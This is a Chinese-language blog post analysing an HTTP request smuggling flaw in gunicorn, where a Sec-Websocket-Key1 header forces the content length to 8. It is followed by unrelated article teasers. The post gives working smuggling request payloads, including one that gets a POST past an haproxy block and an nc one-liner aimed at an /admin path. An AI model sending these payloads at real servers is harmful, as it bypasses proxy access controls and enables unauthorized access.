gunicorn走私漏洞

news2025/1/11 13:04:21

gunicorn走私漏洞

  • 源码:https://github.com/benoitc/gunicorn
  • 漏洞定位:https://github.com/benoitc/gunicorn/blob/20.x/gunicorn/http/message.py#142

漏洞分析

在这里插入图片描述
只要header里面存在Sec-Websocket-Key1
那么就将content_length强制赋值为8
比较简单直接构造POC

POC

GET / HTTP/1.1
Host: example.com
Content-Length: 48
Sec-Websocket-Key1: x

xxxxxxxxGET /other HTTP/1.1
Host: example.com

gunicorn会认为上述请求是两个请求


GET / HTTP/1.1
Host: example.com
Content-Length: 48
Sec-Websocket-Key1: x

xxxxxxxx

GET /other HTTP/1.1
Host: example.com

但其他的代理服务器则会认为是一个请求,因为没有Sec-Websocket-Key1的逻辑

那么借此就可以绕过gunicorn之外的一些服务器的限制

利用

在这里插入图片描述

例如前端haproxy拒绝访问POST请求,但是gunicorn可以访问
则可以利用上述POC构造

GET / HTTP/1.1
Host: example.com
Content-Length: 48
Sec-Websocket-Key1: x

xxxxxxxxPOST /other HTTP/1.1
Host: example.com

关于Content-Length如何构造

在这里插入图片描述
burp开启自动更新则可以计算body的大小
关闭则可以自己repeat poc

或者使用命令行nc

echo -en "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 68\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /admin HTTP/1.1\r\nHost: localhost\r\nContent-Length: 35\r\n\r\nGET / HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 9999 

这里需要自己计算不同的content-length在不同的proxy中的请求体内容。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/94800.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【java】java JSR 269 自定义注解实战 Lombok @Data注解

1.概述 本节会演示一个实际的例子,使用JSR 269 API为类中的字段自动生成get、set 方法。首先定义一个自定义注解类Data,如下所示。 import java.lang.annotation.ElementType; import java.lang.annotation.Retention; import

智能工业之数据采集

现状 工业物联网飞速发展,但是相对于实时IT技术还是明显滞后的。个人理解,有两点原因:一是因为涉及的知识面也比较广,工业物联网开发成本比较高,不像做一个纯软件的管理系统,坐在电脑前借助开源框架就能完成…

你好,Ultrachess 里程碑更新了。

Cartesi Labs 资助的完全去中心化国际象棋项目即将来到你的面前。在10月,我们宣布了第一个由Cartesi Rollup 技术支持的完全链上国际象棋应用程序Ultrachess。Ultrachess允许用户将真正的价值放在赌注上,并在下棋时考虑的不仅仅是他们的隐藏分值。此外&…

Java中的StringBuilder类

目录 一、介绍 二、StringBuilder类的体系图 三、StringBuilder的常用方法 四、String、StringBuffer和StringBuilder比较 1、效率比较 2、如何选择? 一、介绍 StringBuilder也是lang包中的类,即java.lang.StringBuilder类。它也是一个可变的字符序…

设计模式原则-三-依赖倒转原则

设计模式原则---依赖倒转原则依赖倒转原则一 官方定义基本介绍二 案例演示普通方式实现**解决方案****案例分析****案例总结**依赖倒转原则方式实现**解决方案**案例分析**案例总结**注意事项&细节三 依赖关系传递方式一、通过接口传递二、通过构造方法传递三、通过set()方…

原来 Android 的 R 文件里还有这么多道道

前言 nonTransitiveRClass:非传递性 R 类的属性,在 gradle.properties 文件里使用。 不少开发者可能听过它,但了解可能仅限于是对 R 文件做了优化,甚至以为它可以解决资源冲突!但它到底做了什么优化、能否解决资源冲突…

Manacher算法

0、概括 Manacher算法用于求解字符串中最长回文子串问题。 Manacher算法的核心: 理解回文半径数组;理解所有中心的回文最右边界 R,和取得 R 时的中心点 C;理解 L...(i)...C...(i)...R 的结构,以及根据 i′ii′ 回文长…

C-RNN-GAN:具有对抗训练的连续循环神经网络2016--生成音乐

C-RNN-GAN: Continuous recurrent neural networks with adversarial training 2016 Abstract 生成对抗网络已被提出作为一种有效训练深度生成神经网络的方法。我们提出了一种生成对抗模型,它适用于连续的序列数据,并通过在古典音乐集合上训练它来应用它…

计算机毕设Python+Vue校园学生体温管理系统(程序+LW+部署)

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

相见恨晚,Git这些功能太好用了

程序员宝藏库:https://gitee.com/sharetech_lee/CS-Books-Store 作为一名开发者,想必绝大多数同学都无法绕开Git。 作为一款工具,我认为它和word、powerpoint、Excel这些办公工具一样。 对于一部分同学,会一些基本的用法&#x…

【经验帖】项目经理的核心价值:以目标为导向做正确的事

项目经理小李的年终汇报心路历程(心情犹如坐过山车,起起落落最后一蹶不振。) 汇报前: 终于到年终汇报的日子了,毕竟我负责的项目任务从来没有延期过,都是按时完成,这次肯定得加薪了&#xff01…

[附源码]Node.js计算机毕业设计公租房管理系统Express

项目运行 环境配置: Node.js最新版 Vscode Mysql5.7 HBuilderXNavicat11Vue。 项目技术: Express框架 Node.js Vue 等等组成,B/S模式 Vscode管理前后端分离等等。 环境需要 1.运行环境:最好是Nodejs最新版,我…

module命名空间

为什么要有namespaced命名空间? 默认情况下,模块内部的action、mutation和getter都是在全局命名空间。 假设两个modules内部有同名的action、mutation和getter,则vuex会报错。 namespaced作用:保证模块内部的高封闭性,…

021 | 阴离子诱导的系列双核镝配合物的合成及磁性质 | 大学生创新训练项目申请书 | 极致技术工厂

研究目的 近十几年来,随着科技的飞速发展,单分子磁体材料涉及的应用领域越来越宽广。众所周知,单分子磁体材料作为信息存储的基础对信息产业的发展具有一定的意义。此外,单分子磁体在超高密度储存、自旋电子器件、量子计算机等领域…

旅游住宿网站

开发工具(eclipse/idea/vscode等): 数据库(sqlite/mysql/sqlserver等): 功能模块(请用文字描述,至少200字): 网站前台:网站介绍、帮助信息、旅游资讯。景点信息、酒店信息 管理员功能: 1、管理网站介绍、帮…

day22【代码随想录】在每个树行中找最大值、填充每个节点的下一个右侧节点指针、二叉树的最大深度、二叉树的最小深度

文章目录前言一、在每个树行中找最大值(力扣515)二、填充每个节点的下一个右侧节点指针(力扣116)三、二叉树的最大深度(力扣104)1、非递归求解2、递归求解四、 二叉树的最小深度(力扣111&#x…

【前端开发学习】4.JavaScript

文章目录1 JavaScript1.1 代码位置1.2 存在形式1.3 注释1.4 变量1.5 字符串类型案例:走马灯1.5 数组案例:动态数据1.6 对象(字典)案例:动态表格1.7 条件语句1.8 函数2 DOM2.1 事件绑定1 JavaScript 一门编程语言&…

第二证券|主力加仓电子、电气设备等行业 北向资金连续2日净流入

沪深两市股市涨跌互现,上证指数早盘震动下探,午后一度回升,尾盘再度回落;深证成指早盘探底回升,午后震动上扬,尾盘有所回落;创业板指早盘窄幅震动,午后震动上扬;科创50指…

D. Say No to Palindromes(构造 + 前缀和)

Problem - 1555D - Codeforces 如果这个字符串不包含一个长度至少为2的子串,我们就称它为美丽的字符串,这是一个回文。回顾一下,回文是指从第一个字符到最后一个字符以及从最后一个字符到第一个字符的读法相同的字符串。例如,字符…

京东物流 × StarRocks : 打造服务分析一体化平台Udata

作者:张栋,京东物流集团数据专家 京东集团 2007 年开始自建物流,2017 年 4 月正式成立京东物流集团,2021 年 5 月,京东物流于香港联交所主板上市。京东物流是中国领先的技术驱动的供应链解决方案及物流服务商&#xff…